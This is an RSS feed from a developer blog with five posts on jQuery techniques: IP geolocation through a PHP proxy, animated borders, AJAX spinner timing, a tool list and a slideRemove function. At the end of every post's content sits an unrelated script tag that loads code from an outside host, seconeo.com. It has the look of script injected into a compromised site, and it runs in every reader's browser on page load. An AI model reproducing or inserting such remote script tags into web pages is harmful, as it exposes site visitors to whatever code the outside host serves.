<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>There4 Development &#187; JavaScript</title>
	<atom:link href="http://there4development.com/category/blog/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://there4development.com</link>
	<description>Application development and consulting</description>
	<lastBuildDate>Wed, 01 Sep 2010 02:44:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Geolocation services with jQuery and IPInfoDB</title>
		<link>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/</link>
		<comments>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 02:42:33 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=466</guid>
		<description><![CDATA[I&#8217;m releasing a simple script that uses jQuery and a small proxy script to deliver location services via jQuery. You can see a simple example. Geolocation with IPInfoDB Requirements jQuery JSON jQuery Cookie Snoopy PHP Code and explanations By placing this at the jQuery level it prevents any page blocking that may occur during loading, [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m releasing a simple script that uses jQuery and a small proxy script to deliver location services via jQuery. You can see a <a href="http://there4development.com/projects/geolocation/">simple example</a>.</p>
<p><a class="download" href="/projects/geolocation/geolocation.zip">Geolocation with IPInfoDB</a></p>
<h2>Requirements</h2>
<ul>
<li><a href="http://code.google.com/p/jquery-json/">jQuery JSON</a></li>
<li><a href="http://plugins.jquery.com/project/cookie">jQuery Cookie</a></li>
<li><a href="http://sourceforge.net/projects/snoopy/">Snoopy PHP</a></li>
</ul>
<h2>Code and explanations</h2>
<p>By placing this at the jQuery level it prevents any page blocking that may occur during loading, and the proxy script prevents any cross site scripting problems.</p>
<p>First, the javascript variables , with a small bit of PHP:</p>
<pre class="brush:jscript">
var ip = "&lt;?php print $_SERVER['REMOTE_ADDR'];?&gt;";
var geolocation = "./ip_proxy.php";
var cookiename = 'geo_location';
var cookieoptions = { path: '/', expires: 10 };
</pre>
<p>These variables setup the path to the proxy script, place the users IP address into a javascript variable, and establish our cookie parameters. Next, we setup our page initialization function:</p>
<pre class="brush:jscript">
$(function(){

  fetchlocation();

});
</pre>
<pre class="brush:jscript">
displaylocation = function(location) {
  if (location.Status == 'OK') {
    $('.city').text(location.City);
    $('.zip').text(location.ZipPostalCode);
    if(location.State != '--') {
      $('.state').text(location.State);
    } else {
      $('.state').text(location.RegionName);
    }
  }
}

fetchlocation = function() {
  // look in the cookie for the location data
  cookiedata = $.cookie(cookiename);
  if ('' != cookiedata) {
    locationinfo = $.evalJSON(cookiedata);
    if ((locationinfo != null) &#038;&#038; (locationinfo.IP == ip)) {
      displaylocation(locationinfo);
      $.cookie(cookiename, cookiedata, cookieoptions);
      return;
    }
  }
  // it's not in the cookie, so fetch from the server
  $.getJSON(
    geolocation, {
      'timezone' : 'false', // set this to false to save the service 2 queries
      'ip'       : ip
    },
    function(data) {
      data.IP = ip;
      displaylocation(data);
      cookiedata = $.toJSON(data);
      $.cookie(cookiename, cookiedata, cookieoptions);
    }
  );
}
</pre>
<h2>PHP code</h2>
<p>The PHP code is well documented within the ip_proxy.php file. It acts as an intermediary between the jQuery script, and the IP producer. Note that the file can restrict based on hosts, and adds an extra State abbreviation variable to the data returned by the <a href="http://ipinfodb.com/">IPInfoDB API</a></p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/03/geolocation-services-with-jquery-and-ipinfodb/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery Animated Borders</title>
		<link>http://there4development.com/2010/02/jquery-animated-borders/</link>
		<comments>http://there4development.com/2010/02/jquery-animated-borders/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 18:44:53 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=459</guid>
		<description><![CDATA[This is a small plugin that I&#8217;ve put together to allow an animated border on any block level element. This is an initial release, and it still have some quirks. It still needs a page resize event handler. You can see the sample at here at There4, and you can see the project page and [...]]]></description>
			<content:encoded><![CDATA[<p>This is a small plugin that I&#8217;ve put together to allow an animated border on any block level element. This is an initial release, and it still have some quirks. It still needs a page resize event handler.</p>
<p>You can see the sample at <a href="http://there4development.com/projects/animatedborder/">here at There4</a>, and you can see the project page and submit issues at <a href="http://plugins.jquery.com/project/animatedborder">http://plugins.jquery.com/project/animatedborder</a>.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2010/02/jquery-animated-borders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>AJAX interaction indications and timers</title>
		<link>http://there4development.com/2009/11/ajax-interaction-indications-and-timers/</link>
		<comments>http://there4development.com/2009/11/ajax-interaction-indications-and-timers/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 17:51:34 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=411</guid>
		<description><![CDATA[I believe that AJAX interactions are still new enough that customers can have a difficult time knowing what to expect from them. I recently completed an interface where we were using jQuery to create and manage lists. In this list interface, we ran into some interesting assumptions that people were making about the way that the application worked based on the interface.
]]></description>
			<content:encoded><![CDATA[<p>I believe that AJAX interactions are still new enough that customers can have a difficult time knowing what to expect from them. I recently completed an interface where we were using jQuery to create and manage lists. In this list interface, we ran into some interesting assumptions that people were making about the way that the application worked based on the interface.</p>
<p>When the user added a new item to the list, the app displayed a spinner, and then faded in the new item from the input box to the list. On the development machines, it was moderately fast. But once it was on the production machines, the ajax was extremely fast &#8211; it returned in less than a tenth of a second. This meant that the spinner was displayed for such a short period of time that the users simply didn&#8217;t see it. It was never visible to the user.</p>
<p>Because of this, the users didn&#8217;t seem to be understanding that the item had become permanent &#8211; testing showed that they were actually looking for a &#8220;save&#8221; button after they had added their items to the app. After some discussion, it became apparent that the speed was confusing them. They believed that web applications have to process for a moment and communicate with a server. Because the process was so snappy, they believed that there was no way it could have been saved on the server, and so they were looking for a submit button to save their items. Because of the speed of the interface, they thought that the changes were only happening locally.</p>
<p><strong>The solution?</strong> We added a timer to the application so that the spinner would never show less than three tenths of a second. It was long enough that they <em>felt</em> that the new item had been saved.</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/11/ajax-interaction-indications-and-timers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A collection of tools</title>
		<link>http://there4development.com/2009/10/a-collection-of-tools/</link>
		<comments>http://there4development.com/2009/10/a-collection-of-tools/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 00:56:09 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=400</guid>
		<description><![CDATA[Em Calculator Copy Paste Character Password Generator Styleneat]]></description>
			<content:encoded><![CDATA[<ol>
<li><a href="http://riddle.pl/emcalc/">Em Calculator</a></li>
<li><a href="http://www.copypastecharacter.com/">Copy Paste Character</a></li>
<li><a href="https://www.grc.com/passwords.htm">Password Generator</a></li>
<li><a href="http://www.styleneat.com/">Styleneat</a></li>
</ol>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/10/a-collection-of-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery slideRemove()</title>
		<link>http://there4development.com/2009/10/jquery-slideup-remove/</link>
		<comments>http://there4development.com/2009/10/jquery-slideup-remove/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 03:39:53 +0000</pubDate>
		<dc:creator>Craig Davis</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://there4development.com/?p=370</guid>
		<description><![CDATA[jQuery function to slide and remove an element from a page.]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve often run into times that I have wanted to use jquery to fade an element, and slide up the open space, and then remove the element from the page. I&#8217;ve written a small jQuery function to handle this.</p>
<pre <pre class="brush:javascript">
jQuery.fn.slideRemove = function(callback) {
  $(this).blur().fadeTo('medium', 0, function() { // fade
  $(this).slideUp('medium', function() {   // slide up
  $(this).remove();                        // remove from DOM
  if (callback) { callback(); }
  });
  });
  return this;
};
</pre>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://there4development.com/2009/10/jquery-slideup-remove/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
